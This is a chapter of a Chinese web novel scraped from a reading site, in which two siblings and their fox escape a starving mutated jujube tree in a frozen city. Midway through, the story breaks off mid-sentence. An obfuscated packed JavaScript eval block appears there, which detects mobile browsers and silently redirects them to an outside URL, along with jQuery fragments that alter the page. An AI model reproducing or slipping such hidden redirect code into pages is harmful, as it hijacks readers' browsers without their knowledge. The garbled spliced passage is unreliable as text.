默认冷灰
24号文字
方正启体

30. 低温里讨热水的枣树

作者:岳青禾本书字数:K更新时间:
    变异貉被树藤吊起,扭着敦实的身子在半空中晃动,发出短促低沉地低吼声。


    白祈矜右手提起树藤,左脚边是被小玉推过来的,两只瞪大圆眼僵在原地的神似浣熊的貉。


    只过了片刻,失去气息的狗崽已经身体僵硬了。


    “这只貉我交给你处理。”白祈矜看了一眼手里起码有80斤重的胖貉,绑着它身上的树藤,已经绷断了两根,它张着尖齿,气恼地在空中自转。


    只要不惹到自家人头上,白祈矜自然是能做到理中客的。


    死去的狗崽被刚生产完的黄狗叼出了被窝,顾砚辞轻柔地抚过母狗的后颈,“麻烦你帮我缠紧些,这三只貉我都想带走。”


    白祈枂:“你要带回家养着?”


    “对,家里也缺几个看家护院的,养在这,说不定哪天也要被人抓走。”他只是有些后悔没把黄狗带去别墅区生产,寒霜覆在他眼前,嗓音暗哑地说道,“...怎么能去责怪它的动物天性。”


    “行。”白祈矜操纵异能,捆住金黄色变异貉粗短的前爪,它炸起背毛,脾气暴躁地继续叫唤。


    顾砚辞抬起它的短尾,“是只已成年的母貉。”


    为了安抚受惊的小貉,她善解人意地用爬藤将这三只貉绑在一起,再跟白祈枂一块,将它们抬进了购物篮底下,平时能装大米的围栏。


    顾砚辞推着沉重的购物车走了。


    被摘下结冰布条的车胎,继续带着三轮车左摇右晃,他们经过了先锋话剧院、靠近G708高速的涂鸦街,再继续朝北骑向郊区的纺织厂。


    这一路上遇见的野猫,都比在户外奔波的人类多些。


    能活过暴雨期的动物,无一例外,都在骤降的气温里进化出了更厚实的皮毛。


    白祈枂将车停在了开花的紫竹林里,他颤颤巍巍地离开了车座,接过白祈矜递给她的姜茶。


    下午四点就已经临近天黑了,白祈矜蹲在竹林边剥开野兔的皮毛,取出腹部的内脏,把新鲜的兔肉装进保鲜袋里。


    再垫脚折断几条竹枝,拧开保温杯,准备用来冲刷竹签时,小玉眼巴巴地叼回几块碎石板。


    依靠着对面的枯树,总算是将火升起来了,两人一狐围坐成圈,挡住了裹挟着水汽的呼啸寒风。


    内脏是最先烤熟的,白祈枂什么调料也没加,先把竹签杵在流着口水的狐狸嘴边。


    白祈矜抱着膝盖,微垂着眼帘,享受蒸腾在脸颊上的微弱热意。


    为了避免融化脚下的寒冰,她特意在石板上引燃枯黄的竹叶。


    兔肉里的油脂受热,渐渐有肉油滴落在枯枝上,橘色的火焰倏然扩大了,小玉胡须颤抖,身后三条蓬松的尾巴激烈地相互抽打。


    野兔虽然是狐狸抓来的,但是她和弟弟都有出力,白祈矜做主分了一半给小玉,剩下的她和白祈枂再分。


    白祈枂压低嘴前的围巾,心急地大咬一口烤肉,还没等细嚼慢咽,先被烫得喘气,他颧骨和鼻梁被冻的通红,脸上半是狰狞半是餍足,“这一口下去,我感觉整个人都暖和了。”


    “就是鼻子堵了,没怎么闻到肉味。”


    身旁的白祈矜埋低了头,啃着撒了辣椒粉的兔腿,讲话时带点鼻音,“上午这兔子就躺在座椅下,我惦记了一路。”


    “我的手机刚刚自动关机了,你看看你的手机还能不能用。”


    “如果能用,先到群里报个平安。”


    “好...”白祈枂把剩下的半块兔肉塞进嘴里,伸手往裤兜里掏手机,一按,仍是黑屏,“我这个也不顶用。”


    白祈矜扯下小半条围巾,挡在兔肉前,“也没事,我们反正是按路线回家,还有不到三十公里就能回家了。”


    他把关机的手机扔进背包里,微微抿了一口水,“跟你老实说,我其实有点想上厕所...膀胱要爆炸了。”


    “今天中午大半的鸭汤都是我喝的,我才是真想跑一趟。”白祈矜最后嗦了口骨头上的肉渣,便站起身,留出寒风穿行的空位。


    枯枝上明灭不定的火星被彻底吹灭了。


    “那不然转一圈?”


    白祈枂:“走!还有几个小时才能回家呢。”


    棉纺厂周边专为职工修建的宿舍楼里一片漆黑,小玉在楼外转了一圈,吐着舌头蹭了蹭白祈矜的掌心,暗示没有异样。


    楼旁只有一棵快要枯死的枣树,她顺着粗粝的树干爬进宿舍,借着手电筒的光线,屋内两张相邻的单人床上已落满灰尘。


    白祈枂跟在她身后,已然落地。


    洗手台的白色瓷砖里有水分蒸发而留下的水垢,白祈矜粗略地扫过一眼,转身拉开卫生间门。


    隔着包裹严实的围巾,她仍然能闻到下水道反上的酸馊的腥味。


    白祈矜火速地解决了上厕所的问题,她隐约感觉到了不对劲,没听到水液滴在管道上的回音。


    她只觉察到低哑的声息,像是浸润纸张才会有的动静。


    她推开掉漆的木门,没有任何迟疑,拉住白祈枂就要往窗口跑,“我们另找一个地方上厕所,赶紧先出去。”


    “姐,我们好像不能从这走...”白祈枂的声音像是突然被掐灭。


    窗前的枣树已经变了模样,青黑色的树皮变成斑驳的灰褐色,主干纵横交错的裂纹不断增添新的疤痕,露出内部青白色的植物纤维。


    油亮的圆润叶片急迫地从苍劲的枝干间长出。


    在摇摇欲坠的宿舍楼里,白祈矜用余光看见了从厕所冲出的枣树枝丫。


    掌心的藤蔓在跟她传达枣树的滔天的饥饿。


    白祈矜烦躁地压低眉心。


    她一个人类怎么可能解决的了树木狂热的进食欲。


    楼下是狐狸急促的尖叫声,在墙面崩裂的沉闷响声里,白祈矜选择了最保守的处事方式。


    抬腿踹门。


    踩过震颤开裂的地砖,两人并排跑向对门敞开的宿舍。


    墙面的米白色涂漆完全剥离了,混凝土墙倾斜着朝下砸,两个人熟练地踹烂玻璃窗,抱头翻滚下楼。


    盘踞在肩膀的墨色藤蔓,应激般地绽开花苞,露出内里一圈一圈细密的利齿,轻弯起细藤,凶狠地咬住预备在后背偷袭的枣树枝条。


    有手臂粗的断枝跟在白祈矜身后,跌进了飘扬的冷雾里。


    书包被枣树勾走了,白祈枂带着满身纷飞的鹅毛,在冰面上翻滚。


    狐狸焦急地扯住他的衣袖,拖走他往前跑。


    白祈矜顾不上好似在腾云驾雾的三轮车,一个漂移停在了白祈枂前方,“速速爬进后箱。”


    左右颠簸着狼狈地骑行在不断开裂的冰面。


    像是受到轰炸的民房


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507374|202339||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,碎砖尘土和着席卷的冷风“笃笃”地砸在人身上。


    白祈枂按着肩膀,语气急促地询问,“它为什么发疯?”


    “它一直冲我喊饿,饿了就该自己去舔几口冰,追着我们不放算怎么回事。”往日待人的温和都消失不见了,她像是回到了横冲直撞的青春期。


    书包在侧枝的协作下,被撕裂成碎布。


    保温杯被疯狂抽条的新枝一捅而过,温水溅在了葳蕤的枝叶里。


    它突然静止了。


    只过了两瞬,撑破楼房的参天巨树挥舞着枝条,朝他们追来。


    白祈枂瞪大眼睛,“姐,它好像要喝热水!”


    “这像话吗,也不怕把自己烫死。”白祈矜扯平嘴角,眉眼间是冷冽的锋芒。


    肩上的墨色藤蔓晃悠着卷须跃跃欲试。


    紫色的火苗已在白祈枂面前浮起。


    枣树枝猛地停在离他五米远的半空,献殷勤般,在他面前迅速的开花、结果。


    递来满枝的焦糖色的红枣。


    “姐...我觉得它态度好像蛮诚恳的...”白祈枂看向背后的身影。


    立在半空的墨色藤蔓鸣金收鼓,重新搭回她的肩背。


    白祈矜单手扶住车柄,没回头,更没刹车,直接将背包扔给他,“我的保温杯里还有大半杯热水,你倒一些给它。”


    在迷离的散发着热气的白雾里,一截长满红枣的断枝掉到了白祈枂怀里。


    白祈矜片刻不敢休息,直到骑出5公里远,才停在一栋低矮的民房后。


    再三确认,周边唯一的野草已经完全冻死。


    她搓搓手掌,打开衣物的收纳箱,“你先找件衣服穿。”


    “拿最上面这件就可以了。”他掀开挡风的棉被,穿上新的羽绒服,“我刚刚还担心,枣树要追着我们不放了。”


    白祈矜拍走肩膀和头上的碎冰,打了个寒颤,“枣树应该就藏在下水管道里,或者是冰下的楼层里。我走进宿舍前,几乎没探知到它的生息,没想到它只是在冬眠。”


    “...我要不要再给你找个厕所。”


    白祈枂尬笑了两声,待在车斗里,也不敢做大动作,“别了,我现在不敢上了,回家再上厕所吧,我膝盖以下几乎要没知觉了。”


    狐狸懒散地躺在纸箱边,胸口前是大半天都没进食过的王八。


    白祈矜猛蹬踏板,在住宅间的支道上通行,由东向西传来一阵重型摩托车迅疾经过的摩擦声。


    “这该有9点了吧,我们还能遇见同路客。”白祈枂的声音略显倦怠,他和小玉跟着缓行的三轮车,步行跟在后面。


    最后几条的主要路段都是上坡路,白祈矜集中注意力向北面骑行,她背上泛起微微的潮意,嗓音干渴,“绕过这片,就只剩下一条主路了...我们再坚持一下。”


    透过室外冰封的玻璃窗,她只能瞧见室内模糊的光晕。


    手电筒的光线之外,是与寒雾勾连的或深或浅的黑。


    路旁熟悉的笔直杨树是张牙舞爪的黑影,白祈矜凭着肌肉记忆终于拧着车把向西行。


    两道刺目的冷光笔直地打在她身上。


    前方是分外亲切的清亮地女声,“找到祈矜了,还不赶紧停车,我就说你的视力不行吧。”


    白祈矜双脚落地,忍不住上扬唇角。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)